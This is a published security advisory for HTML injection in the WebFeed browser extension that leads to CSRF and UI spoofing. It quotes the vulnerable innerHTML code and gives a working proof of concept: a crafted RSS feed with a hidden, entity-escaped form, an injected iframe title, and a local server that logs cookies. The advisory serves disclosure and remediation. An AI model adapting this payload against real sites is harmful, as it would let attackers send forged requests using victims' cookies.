Skip to content

WebFeed HTML injection vulnerabilities leading to CSRF and UI spoofing

Moderate
taoso published GHSA-mrc7-2q3w-48j8 Nov 2, 2024

Package

WebFeed (Chrome Web Store)

Affected versions

<= 0.9.1

Patched versions

0.9.2

Description

Summary

Multiple HTML injection vulnerabilities in WebFeed can lead to CSRF and UI spoofing attacks. A remote attacker can provide malicious RSS feeds and attract the victim user to visit it using WebFeed. The attacker can then inject malicious HTML into the extension page and fool the victim into sending out HTTP requests to arbitrary sites with the victim's credentials.

Details

HTML injection is possible in multiple places:

When listing the RSS feed links on a web page:

webfeed/js/popup.js

Lines 48 to 52 in a985d7b

link.innerHTML =
(feed.title || feed.url) +
(types[feed.type]
? ` <span style="opacity:0.6;">(${types[feed.type]})</span>`
: "");

When reading an RSS feed: (note that utils.html2txt is not effective if the HTML is nested deeply enough)

webfeed/js/show.js

Lines 11 to 14 in a985d7b

header.querySelector('h1').innerHTML = feed.title;
let h1 = header.querySelector('#site-link')
h1.href = feed.link;
h1.innerHTML = utils.getSiteTitle(feed.link);

webfeed/js/show.js

Lines 65 to 71 in a985d7b

content.querySelector("article>h2").innerHTML = entry.title;
content.querySelector("article>time").innerHTML = entry.updated.toLocaleString();
let sum = content.querySelector("article>div");
sum.innerHTML = entry.summary;
utils.html2txt(sum);

When failed to show an RSS feed:

webfeed/js/show.js

Lines 120 to 128 in a985d7b

error.innerHTML = `
<div>
<p>Error while fetching feed</p>
<p style="color:red;">${e}</p>
<p><pre>${e.stack}</pre></p>
<p>You may go to the site to find the latest feed and unsubscribe this one.</p>
<a href="${url}">${url}</a>
</div>
`;

When listing the subscribed feeds:

webfeed/js/list.js

Lines 32 to 37 in a985d7b

$("article>h2").innerHTML = entry.title;
$("article>.meta time").innerHTML = entry.updated.toLocaleString();
$("article>.meta a.link").href = entry.link;
let sum = $("article>div");
sum.innerHTML = entry.summary;

When showing fetch errors:

li.innerHTML = `<a href="${showUrl}" target="_blank">${url}</a>`;

WebFeed has host_permissions on <all_urls>, so it can send cross-site requests with cookies:

webfeed/app.json

Lines 19 to 21 in a985d7b

"host_permissions": [
"<all_urls>"
],

PoC

index.html:

<!DOCTYPE html>

<html>

<head>
  <link rel="alternate" type="application/rss+xml" title="iframe <iframe src=https://example.com height=40 width=100></iframe> title" href="/feed.xml" />
</head>

<body>
  <iframe name="form-target" style="display:none;"></iframe>
  <form action="http://localhost:8080/" method="POST" target="form-target" style="position:relative;padding:0.5em 0;">
    <input type="submit" value="Failed CSRF blocked by SOP" style="display:inline-block;opacity:0;padding:0;margin:0;cursor:pointer;" />
    <a style="position:absolute;left:0;z-index:-1;">Failed CSRF blocked by SOP</a>
  </form>
</body>

</html>

feed.xml:

<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
      <title>Blog</title>
        <item>
            <title>Title</title>
            <link>https://example.com/</link>
            <pubDate>Sun, 29 Oct 2024 08:00:00 GMT</pubDate>
            <description>Abstract
&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;iframe name=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;form-target&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot; style=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;display:none;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;/iframe&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;
&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;form action=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;http://localhost:8080/&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot; method=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;POST&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot; target=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;form-target&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot; style=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;position:relative;padding:0.5em 0;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;
    &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;input type=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;submit&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot; value=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;Read more...&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot; style=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;display:inline-block;opacity:0;padding:0;margin:0;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;/&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;
    &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;a style=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;position:absolute;left:0;z-index:-1;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;Read more...&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;/a&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;
&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;/form&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;
&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;style&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;a.link { display: none; }&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;/style&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;</description>
        </item>
    </channel>
</rss>

server.py:

from http.server import HTTPServer, BaseHTTPRequestHandler

class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self._handle_request()

    def do_POST(self):
        self._handle_request()

    def _handle_request(self):
        print(f"{self.command} Cookie: {self.headers.get('Cookie')}")
        self.send_response(200)
        self.send_header('Set-Cookie', 'csrf=test; HttpOnly; SameSite=Strict')
        self.end_headers()

def run_server(host='localhost', port=8080):
    server = HTTPServer((host, port), RequestHandler)
    print(f'Server started on http://{host}:{port}')

    try:
        server.serve_forever()
    except KeyboardInterrupt:
        server.server_close()

if __name__ == '__main__':
    run_server()
  1. Run python -m http.server and python server.py.
  2. Visit http://localhost:8080 to get the cookie.
  3. Visit http://localhost:8000. Click Failed CSRF blocked by SOP. See Cookie: None in the output of server.py to verify that CSRF attacks are normally blocked by SOP.
  4. Open WebFeed. See the injected <iframe> in the popup.
  5. Open the feed to see a seemingly harmless feed.
  6. Click on "Read more". Then see Cookie: csrf=test in the output of server.py to verify that CSRF attack succeeded.

Impact

Users are vulnerable to CSRF attacks when visiting malicious RSS feeds via WebFeed. Unwanted actions could be executed on the user's behalf on arbitrary websites.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Active
Vulnerable System Impact Metrics
Confidentiality None
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity Low
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N

CVE ID

CVE-2024-50346

Credits